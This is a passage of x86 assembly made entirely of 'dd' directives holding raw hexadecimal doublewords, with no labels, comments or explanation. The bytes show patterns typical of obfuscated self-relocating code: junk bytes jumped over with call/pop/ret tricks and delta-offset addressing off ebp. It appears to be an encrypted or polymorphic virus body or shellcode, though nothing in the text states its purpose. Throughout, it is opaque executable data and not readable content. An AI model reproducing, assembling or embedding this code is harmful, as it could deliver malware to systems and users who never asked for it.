		dd 11h,	0F875DBDDh, 2EE38C81h, 2B1E5C49h, 0BB124098h, 0AD2DB724h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0DA0BC350h
		dd 35DB9D57h, 3585091Fh, 6A061B21h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0F44AC352h
		dd 30E4EFAh, 0D217E99h,	88h, 3149BD8Bh,	958B061Bh, 61B2429h
		dd 0DE9h, 702DF700h, 49E80C62h,	0FA26DC6h, 8D8BE73Eh, 61B0765h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B2C35242h
		dd 82AB5278h, 3BF1C4F9h, 0D5BD8BECh, 0F9061B29h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0E9605818h, 13h, 0EFAAAE25h
		dd 66995B00h
		dd 73A8D9Ah, 36998BDAh,	8A20B774h, 6A61DAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 517604C3h
		dd 0ABF66D7h, 69BD83D6h, 61B17h, 85840Fh, 0AE90000h, 75000000h
		dd 57EC68F2h, 0D14D63CFh, 0B80Eh, 9D8B0000h, 61B0AE9h
		dd 4CD38D8Dh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 36305C3h, 10E99Ch, 2F00000h, 4E799FF2h
		dd 291609D3h, 8DE48120h, 0E1FFE3D4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 5DC35343h, 7281E650h, 233587EDh
		dd 19E99589h, 75BF061Bh, 836E9BCFh, 1B13D1BDh, 840F0006h
		dd 44Dh, 6830Fh, 8D890000h, 61B17C9h, 13D1BD83h, 0F01061Bh
		dd 44F84h, 8D895200h, 61B226Dh,	83DE8B5Bh, 1B13D1BDh, 860F0306h
		dd 402h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	3BC35040h, 0E522D59h, 87AD1ADFh, 60DAB70Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 29C35545h, 0C02D0763h
		dd 0AC1B0C63h, 0D98C6691h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0D1C35343h, 0E9FBB70Fh, 11h, 0DD17F20Ah
		dd 0C866A7F4h, 0AA1ECD27h, 7C928AFFh, 4E180ECh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4CC35646h, 0E0F099ADh
		dd 8D89B938h, 61B1219h,	899BD01h, 0C90A061Bh, 0DB840Fh
		dd 9D8B0000h, 61B1A15h,	145858Bh, 0BF0F061Bh, 318533DFh
		dd 89061B2Ah, 1B010D85h, 50609006h, 0E950615Eh,	0Dh, 0BCEBAD76h
		dd 0DC2B721Fh, 4E4D8E92h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 92F1FDC3h, 0DE0A50B1h
		dd 0C3BB66F6h, 6A006A7Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 3286C352h, 0B5958905h
		dd 68061B03h, 7117134h,	0CB243481h, 0FF070E72h,	1B323595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FD2E4C0h, 0E80h, 0BD896000h, 61B2C41h
		dd 13C5B589h, 8961061Bh, 1EAD9985h, 0DB816606h,	0DFE90AA7h
		dd 89000001h, 1B16A985h, 91858B06h, 52061EADh, 0AD9BF381h
		dd 0C75B2271h, 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 25D445Fh, 5169B1DDh, 0B1BD33E0h
		dd 8B061B0Ah, 1EAD95B5h, 29858B06h, 6A061B12h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0B5F3C350h, 59FF0FE9h, 785D0A19h, 16A19D01h,	689061Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0FAC35242h
		dd 8D0FF00Ah, 6, 2909BD01h, 858B061Bh, 61B0145h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0EAC35747h, 8B021C15h
		dd 1B035D9Dh, 0EDBD8B06h, 0F061B0Ah, 4689FEB7h,	659D8B04h
		dd 96061B19h, 0BB665250h, 310F148Ah, 14E9h, 8FF6DC00h
		dd 5D259773h, 2A605B39h, 80F677F2h, 0C58D8ABh, 50585A7Eh
		dd 0FB8B6652h, 6A965Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0D7BEBEC3h, 0D5BD01EFh, 0FF061B10h
		dd 1EAD91B5h, 9DBD0906h, 68061B01h, 0C4FCAAAAh,	8A0F5250h
		dd 2, 310FDE8Bh, 8C0F60h, 61000000h, 481585Ah, 22595524h
		dd 55006A3Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 93CCB86Bh, 198D9D8Bh, 858D061Bh,	61EAD99h
		dd 68C0Fh, 8D890000h, 61B1CB5h,	89DE8A50h, 6A2404h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 648C74C3h, 577173Ch,	0C4B4BFA1h, 95FF0B01h, 61B3235h
		dd 0E1816660h, 6E9F03Bh, 89000000h, 0FC86FE46h,	6A616173h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 84FCC350h, 0D3DF9D33h, 0E5B6DB48h, 6810Fh
		dd 0CF810000h, 65D42B01h, 13D185C7h, 3061Bh, 0BD230000h
		dd 61B2B11h, 0AD99BD83h, 0F00061Eh, 4184h, 0BDBD8B00h
		dd 0E9061B11h, 51h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0AC35747h, 0E810B0DAh, 11DA75EDh, 0CE8h
		dd 80596400h, 0BFDD38F4h, 0E801DE6Fh, 30505BE4h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 8B60F9C0h
		dd 0F18B66D7h, 0D1BD8361h, 3061B13h, 356850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F439ACC3h, 0E93B2063h, 0Ah,	0F651A705h, 0E742FEEAh
		dd 0BD83FF7Dh, 61EAD99h, 19840F00h, 6A000003h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 958BC357h, 0DA0E6764h, 6830F3Ch, 8B000000h, 1B01C99Dh
		dd 99B5FF06h, 9061EADh,	1B00E595h, 1195FF06h, 0FC061B01h
		dd 0AD8DB58Bh, 0AE9061Eh, 2D000000h, 0C9CF3DA6h, 0AB0DDCFCh
		dd 106C737h, 6A000100h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 9F59C352h, 0BD349D06h
		dd 5096FF97h, 0F525060h, 62B96631h, 66585AC7h, 618FDCB8h
		dd 0DE996h, 0A1380000h,	0A8040540h, 0D04842F9h,	0FFA9C22Ah
		dd 1EAD99B5h, 83DF8106h, 0FF28240Dh, 1B1BC995h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 6DB4BCD2h, 4C92BAD8h, 816651A3h, 8B7A96CFh, 1EAD8DB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8C0FD46Ah, 0Ch, 68E0Fh, 0B5290000h, 61B179Dh
		dd 0D25858Bh, 0B531061Bh, 61B168Dh, 0C48689h, 0DF800000h
		dd 76D7811Ah, 8B06B8D5h, 1B242995h, 0C3816606h,	0C2833286h
		dd 0FA8B5304h, 0B529605Fh, 61B1D29h, 0CE9h, 6144B300h
		dd 0A3F2BEB3h, 4BD1E09Fh, 508961A6h, 0FBBF0F20h, 12259D8Bh
		dd 858D061Bh, 61EC0C7h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0B3C35646h, 9D2B309Fh, 61B1855h, 0B88689h
		dd 0BF660000h, 6A6A24h,	6767E781h, 0B5FF74FCh, 61EAD99h
		dd 95FFB4B3h, 61B142Dh,	8BF48A60h, 1B237195h, 0F966106h
		dd 1289h, 0F525000h, 8Ch, 50310F00h, 5A310F52h,	50585A58h
		dd 26C0BB66h, 0CB816696h, 0B5FF8BB8h, 61EAD99h,	1870Fh
		dd 0FFF80000h, 1B1B9195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 1BD7802Eh
		dd 0C81BD83h, 0F00061Bh, 2C84h,	8E85600h, 0C9000000h, 8F9FD838h
		dd 296AF582h, 1B24F595h, 8B5F5B06h, 1B0B35BDh, 0DA8B5006h
		dd 66243489h, 0BB53FE8Bh, 677E6ADAh, 99B5FF5Fh,	6A061EADh
		dd 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 42C5C352h
		dd 0B8F0C11Ch, 0FCB37E9Bh, 0BD595FFh, 0BD8B061Bh, 61B32D1h
		dd 0AD99B5FFh, 95FF061Eh, 61B1A09h, 18F59D8Bh, 0BD83061Bh
		dd 61B07A5h, 6C840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 6DAEC350h
		dd 8D9D8BFAh, 66061B1Ah, 8B81C1BFh, 1B303185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0C6F88BB6h, 11E80000h, 1D000000h, 0FB3214E1h, 0DC215EADh
		dd 6C1BCCA0h, 0CA87DC2Eh, 7DDB589h, 0C75F061Bh,	1B2BD585h
		dd 6, 0FE8B6600h, 0FFF443E9h, 8BFB8BFFh, 198C0FC1h, 0E9000000h
		dd 14h,	24A71294h, 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h
		dd 32ED858Dh, 0BF50061Bh, 2F4C7783h, 29240489h,	1B0CD585h
		dd 6A006A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 52E6C352h, 8B6674F9h, 60006AFBh
		dd 129DB589h, 9D01061Bh, 61B2F8Dh, 5858D61h, 6A061FCAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 5B24C350h, 800F3EADh, 17h, 0BE8h,	0F4819000h
		dd 221AD20Bh, 66577F7h,	72D9D03h, 835B061Bh, 6A05C0h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 555CAEC3h, 0E01506E7h, 60609037h, 61605857h,	13E861h
		dd 51660000h, 84BF0C27h, 7D37CE54h, 3C41430Fh, 0BEF7BC2h
		dd 5BF660Fh, 50615AF7h,	8B665250h, 60310FF8h, 870Fh, 8B660000h
		dd 585A61FAh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 66E745DDh, 6E9D88Bh, 0FF000000h
		dd 1B547F0Bh, 8B666014h, 8C52BAC3h, 6A614A8Ch, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 5FF852DBh, 95FF006Ah, 61B1A01h, 0EA99D8Bh, 8D8D061Bh
		dd 61E92B7h, 7CD78166h,	89D1FF42h, 1B0C6DB5h, 0D5BD8306h
		dd 1061B1Ch, 50850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0BBD87AC3h, 3112F4ECh
		dd 6800Fh, 0BD8B0000h, 61B2F0Dh, 0BD8B026Ah, 61B28CDh
		dd 0ECF6BF50h, 4896934h, 39BD0324h, 0FF061B08h,	1B142D95h
		dd 0E8806006h, 26E961E1h, 0E800000Dh, 0
		dd 0FED815Dh, 66061FCAh, 6AF88Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0D9F26CC3h, 41D02500h
		dd 8BE45293h, 3D858DFBh, 6A061E85h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 8B59C351h
		dd 8B908B16h, 8B6650DFh, 0BDB390DFh, 91DBD0Bh, 0FF64061Bh
		dd 35h,	0C5EF8000h, 293D8531h, 8964061Bh, 25h, 81665300h
		dd 5B9AC7F3h, 2B0D85FFh, 0B589061Bh, 61B122Dh, 6AFF6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 6F762AC3h, 1D45B5FFh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 70F458C3h, 80595FFh
		dd 3BE9061Bh, 0E9000001h, 0Bh, 0D05D324Eh, 0F7712A29h
		dd 0B01A72FCh, 4591BB00h, 70E62AEEh, 2A81BD8Bh,	71E4061Bh
		dd 9AEF8166h, 0F613CBBh, 10D83h, 51B53100h, 0F061B1Bh
		dd 0BAF5C8B6h, 6, 5880Fh, 81660000h, 8B92C4CBh,	1B30E9BDh
		dd 0FC18B06h, 683h, 0E9BD2B00h,	0C1061B18h, 9D8B04E8h
		dd 61B3281h, 0F9E2F766h, 0CE8h,	97581900h, 0A4D897B0h
		dd 73C5BFD3h, 0BE965h, 0F6A00000h, 3E1106ABh, 3E936DF1h
		dd 0C82B5F03h, 31099D89h, 0D18B061Bh, 0CE18589h, 9BE9061Bh
		dd 3000000h, 1B1421BDh,	4858B06h, 0BB000000h, 15715470h
		dd 0F07C083h, 0C083FFBFh, 8E800h, 77E30000h, 0D1576EE1h
		dd 8B6628F0h, 0D03B5BFBh, 29830Fh, 9D8B0000h, 61B128Dh
		dd 0AE9h, 493E1900h, 64E5D2CCh,	0E94910B7h, 4Eh, 0FFBBF0Fh
		dd 681h, 0E99D8900h, 8B061B25h,	0FFFFFF8Dh, 6810FFFh, 8B000000h
		dd 1B22BDBDh, 1E18306h,	24840Fh, 85010000h, 61B0395h, 0FFFFA583h
		dd 8BFEFFFFh, 1B023DBDh, 4958906h, 1000000h, 1B03CD8Dh
		dd 0E906h, 0B58D0000h, 61F4DBFh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 16h, 0DCC35040h,	6AF98EF9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 254467CAh, 41BB62ECh, 0FF5191B9h, 1B220595h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0D82E70A9h, 5E9h, 0D13A3F00h, 83B91EDDh, 6A000010h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B4DC353h, 1B0909BDh, 0FCE18306h,	13BD9D8Bh
		dd 0F53061Bh, 682h, 418D0900h, 5F061B07h, 8830FFCh, 51000000h
		dd 1AD9501h, 2B5F061Bh,	56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 8D9B3D5Ah, 0BA31h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 61E51C3h, 0F955CEEh,	8B61D6EBh, 1B14599Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BD897E9Fh
		dd 61B18CDh, 2D459D31h,	880D061Bh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 24A2C350h, 0DA7DB862h, 0B3F86F09h, 29958B29h, 0E8061B24h
		dd 0Fh,	39BC6D50h, 0B92185E4h, 0C1532D40h, 52F07BFDh, 13B5BD8Bh
		dd 5B5F061Bh, 7658D8Bh,	6A061Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 2C32F7C3h, 15E3498Fh
		dd 89C00DDBh, 1B3275BDh, 0DFBF6606h, 0C28B5003h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 5658188Bh, 5BDBB70Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9BC35545h, 58ACF4A4h
		dd 0CD0A29F0h, 32C9BD8Bh, 0BD83061Bh, 61B1769h,	6A840F00h
		dd 0B8000000h, 0
		dd 0B56FBF66h, 4CD38D8Dh, 0E950061Bh, 0Eh, 9E226BC1h, 0CD4D867h
		dd 0ABE2E03Ah, 0FF5F8EF2h, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0BCC56EFFh
		dd 10E86051h, 6C000000h, 5FE8925Eh, 0BCCB066h, 805DE26Ah
		dd 896EB1C8h, 1B0795B5h, 8A0F5B06h, 0
		dd 0D1BD8361h, 61B13h, 368840Fh, 2B600000h, 1B0D95BDh
		dd 0BD950106h, 61061B1Ch, 13D1BD83h, 0F01061Bh,	36884h
		dd 119D3100h, 83061B2Bh, 1B13D1BDh, 860F0306h, 31Fh, 0C880Fh
		dd 840F0000h, 6, 17F59589h, 6A60061Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0EA88C350h
		dd 0C087C210h, 8BCDF93Dh, 1B1C999Dh, 0D98C6606h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 36C35545h, 0FA0882Ah
		dd 0E180DEBFh, 89958904h, 0F9061B1Ah, 840FC90Ah, 107h
		dd 8BF9B70Fh, 1B014585h, 0CD9D3306h, 33061B22h,	1B2A3185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 81213D38h, 5E9F81Bh, 0B3000000h,	46E21DFFh
		dd 0FB8B6690h, 13E950h,	0C9BD0000h, 9BD78A12h, 4C7475FFh
		dd 0FCB1867Dh, 7D5A5EE4h, 6A9034h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 504CF9C3h, 0A67CECDFh
		dd 0FCB325AEh, 1ED9D31h, 6A061Bh, 7E68FB8Bh, 8B2537A9h
		dd 243481DFh, 2528AA81h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 8C35343h, 323595FFh, 12E9061Bh, 2F000000h
		dd 91D126D7h, 2E75D901h, 0F9EEAD8Bh, 0A1CC26D8h, 9985894Ch
		dd 6A061EADh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 8C01C350h, 899D8B63h, 0E9061B1Dh
		dd 15Dh, 8BD8B70Fh, 1EAD9185h, 158D8906h, 0C7061B0Eh, 1800h
		dd 0FB8B6600h, 0AD95B58Bh, 6A061Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 858BF4C3h
		dd 61B1229h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	48C35646h, 0F0FE2825h, 0BFAF7E5Fh, 0BB068901h
		dd 2F5A23C9h, 145858Bh,	0EE8061Bh, 67000000h, 9E3E140Dh
		dd 650E182Bh, 620F16E7h, 0DE960C1h, 0E8000000h,	0C04AC2E5h
		dd 0E582AA6h, 4D7100A5h, 745B589h, 5B61061Bh, 6A044689h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 6F03C350h, 96FA8B12h, 90E0BF66h, 0B8A0F50h
		dd 0F000000h, 589h, 0F204BB00h,	66960DD0h, 0FF7D35BBh
		dd 1EAD91B5h, 6809B306h, 27B18662h, 0AE85250h, 6B000000h
		dd 9FD24E76h, 42F86019h, 5B5F5611h, 0D6BB310Fh,	5A39E1A6h
		dd 24348158h, 27AE859Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 75C35141h, 0B1197E41h, 675004EDh, 8B665260h
		dd 8D615FCBh, 1EAD9985h, 50509006h, 0C1BF6652h,	5A310FD1h
		dd 8B669058h, 3595FFFAh, 81061B32h, 0A0775BF3h,	0BD896159h
		dd 61B17F5h, 13D185C7h,	3061Bh,	850F0000h, 4, 2E4ABF66h
		dd 0AD99BD83h, 0F00061Eh, 2284h, 49BD8B00h, 66061B1Ah
		dd 0A2C0CF81h, 2DE9h, 75BD8B00h, 0F061B1Bh, 680h, 0B7F78100h
		dd 5050AF94h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 11E9C08Bh,	7B000000h, 0FE0BA0F1h, 614F6371h
		dd 0DF3999C4h, 32187F1Fh, 0BD83DF8Bh, 61B13D1h,	6B850F03h
		dd 0E9000004h, 0Ah, 45BE3C3Dh, 0CD93AA9Ah, 0BD8308B2h
		dd 61EAD99h, 4F840F00h,	0E8000004h, 12h, 5956D004h, 0EFF0E32h
		dd 757FF2A2h, 0DF0B9FF4h, 0FC8A8A31h, 99B5FF5Bh, 0B3061EADh
		dd 1195FF05h, 80061B01h, 0B58BBAD3h, 61EAD8Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B0C35747h, 682C6585h
		dd 0DDDF8096h, 106C7h, 0BD0B0001h, 61B0C0Dh, 0BF525096h
		dd 0AE60E68h, 0DEB7310Fh, 5050585Ah, 0FE8B6652h, 0BB51310Fh
		dd 0CF9FA36h, 96585A5Fh, 0BAC78166h, 99B5FF8Eh,	6A061EADh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 661EC353h, 0FFBABABBh, 1B1BC995h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 11E9770Bh, 9000000h,	4791549h, 0B13DC8ACh, 0B45B6D49h
		dd 7DBC91F2h, 0AD8DB58Bh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BD8B13C3h, 61B13FDh
		dd 13418D01h, 858B061Bh, 61B0D25h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 24C35040h, 0C6A106BBh, 0A0270575h
		dd 0ED950121h, 33061B2Eh, 1B29ED9Dh, 0C4868906h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0CA28C350h, 0AE1985CCh, 0E3810696h, 4DD4DC59h
		dd 2F319D29h, 958B061Bh, 61B2429h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D6C35545h,	18C0Fh,	0B3F90000h
		dd 4C2835Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	34C35141h, 0D719589h, 0F380061Bh, 0F9BF0F49h, 89205089h
		dd 1B1CD99Dh, 0CE906h, 6D250000h, 0ED84467Fh, 5DA15F59h
		dd 858DE15Dh, 61EC0C7h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0C2C35040h, 39F3A3E6h, 89DF77A1h, 1B0B0985h
		dd 0B8868906h, 0E9000000h, 0Bh,	9ECE5DD8h, 0BF75A0BBh
		dd 6AD285B7h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 99B5FF65h, 6A061EADh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 452FC353h
		dd 237F3031h, 3285D7E4h, 142D95FFh, 5750061Bh, 2810Fh
		dd 0DE8B0000h, 2434895Fh, 721BD89h, 0B5FF061Bh,	61EAD99h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h
		dd 7AF155FEh, 24D59D8Bh, 0B589061Bh, 61B2D51h, 1B9195FFh
		dd 9D8B061Bh, 61B0E21h,	13E9h, 32DB0400h, 5F5C5888h, 6A5B5B4Ah
		dd 3F11C92h, 701F8A6Ah,	0C81BD83h, 0F00061Bh, 4284h, 5650F500h
		dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0E3C35747h, 151D1870h, 14E9E3F5h, 0DE000000h, 6D770F51h
		dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 0FFE0DE2Ch, 1EAD99B5h
		dd 0FE8B6606h, 0BD595FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0BD00FC3h, 0B68E4D4Eh
		dd 6E8h, 0CB929300h, 81DD5ABEh,	3E8D7EC3h, 0B5FF5F2Bh
		dd 61EAD99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0DDC35646h, 0A268488Ah,	231EE4BCh, 0FFF98A75h
		dd 1B1A0995h, 0A294BB06h, 0BD833E0Dh, 61B07A5h,	5E840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F5D5C352h, 2B359D8Bh,	858B061Bh
		dd 61B3031h, 19958960h,	0E8061B2Ah, 13h, 9F6D4523h, 0BABDA9CAh
		dd 1F202785h, 0C295F1B6h, 0E9FBE19Ah, 6
		dd 8E4920E1h, 615E917Ah, 0B0000C6h, 1B2B899Dh, 0D585C706h
		dd 61B2Bh, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 1684C352h, 4F7EFFBEh, 0A9E956D2h
		dd 31FFFFF3h, 1B2D3D9Dh, 6AC18B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B7C351h
		dd 0AA5F7CD3h, 7E824E26h, 0D45157BFh, 8BB8B77Fh, 1B12D9BDh
		dd 0ED858D06h, 6A061B32h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 7454C355h, 8996CC4Dh
		dd 1B11F5B5h, 14E99006h, 0C8000000h, 0FC4103F6h, 0D916F994h
		dd 4BEECFACh, 202C3D05h, 503C01AAh, 6A90D98Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0FDBFC351h, 8E96099h, 0F5000000h, 0E9C431B1h, 6A5D9E98h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0CA6770D8h, 89F86E81h, 1B08C195h, 9E96006h
		dd 1000000h, 62C0A646h,	78D424BCh, 6A006A61h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0DF97C353h, 0E5CE52EDh, 31AD9589h, 858D061Bh, 61FD956h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 30C35040h
		dd 0B4249CB6h, 0DA0A84B5h, 0F9BD31h, 12E8061Bh,	0BC000000h
		dd 337D53C9h, 7D73DD24h, 6DF23813h, 4F951C56h, 79953103h
		dd 5F061B07h, 6A05C083h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8929C352h, 1B0F418Dh
		dd 0BB665006h, 4896517h, 7E824h, 0FDB80000h, 0ED6B9AECh
		dd 14E826h, 0C6BE0000h,	610904C4h, 0FFBA0FFEh, 0AFA24D1Ah
		dd 0DB0685F3h, 880FFBC4h, 0
		dd 6A5F5Bh, 0EE8h, 0B37BB600h, 0A406C4B8h, 33624131h, 817D7823h
		dd 0BAEECAEBh, 6A5B46h,	0F3D9D8Bh, 95FF061Bh, 61B1A01h
		dd 11BD8B51h, 5F061B09h, 92B78D8Dh, 0DD8A061Eh,	0BD8BD1FFh
		dd 61B07E1h, 1CD5BD83h,	0F01061Bh, 5685h, 9D016000h, 61B0D4Dh
		dd 20E1BD03h, 6A61061Bh, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 23ADFE0Fh, 8D41C2D2h
		dd 26B790EFh, 0B7525050h, 66310F0Eh, 5A4602BBh,	9D899058h
		dd 61B2475h, 142D95FFh,	0FCBB061Bh, 0E9543042h,	0DBFh
		dd 0E8h, 0ED815D00h, 61FD960h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0CDC35242h,	5ACC3149h, 59251B33h
		dd 93A2B960h, 8B66290Dh, 6A61D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B968FC3h, 0D9BD89FAh
		dd 8D061B0Ah, 1E853D85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 96771284h, 0C549D92Dh
		dd 13319D2Bh, 9D01061Bh, 61B0B41h, 14E990h, 0EAFC0000h
		dd 3B21F7FCh, 0B17B1C3Ch, 0C6ECC95Fh, 84722EEAh, 5050E059h
